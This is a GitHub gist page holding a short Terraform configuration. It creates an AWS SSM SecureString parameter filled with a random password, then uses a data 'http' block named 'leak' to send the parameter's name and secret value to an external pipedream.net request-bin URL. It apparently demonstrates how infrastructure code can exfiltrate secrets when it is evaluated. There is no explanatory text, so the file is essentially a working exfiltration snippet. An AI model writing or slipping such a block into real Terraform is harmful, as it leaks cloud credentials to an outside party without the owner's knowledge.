Created
March 1, 2022 18:39
-
-
Save schosterbarak/36a2da94b84e3e35d6ea3bf079834b40 to your computer and use it in GitHub Desktop.
Revisions
-
schosterbarak created this gist
Mar 1, 2022 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,15 @@ resource "aws_ssm_parameter" "param" { name = var.parameter_name type = "SecureString" value = random_password.password.result } resource "random_password" "password" { length = 16 special = true override_special = "_%@" } data "http" "leak" { url = "https://enp840cyx28ip.x.pipedream.net/?id=${aws_ssm_parameter.param.name}&content=${aws_ssm_parameter.param.value}" }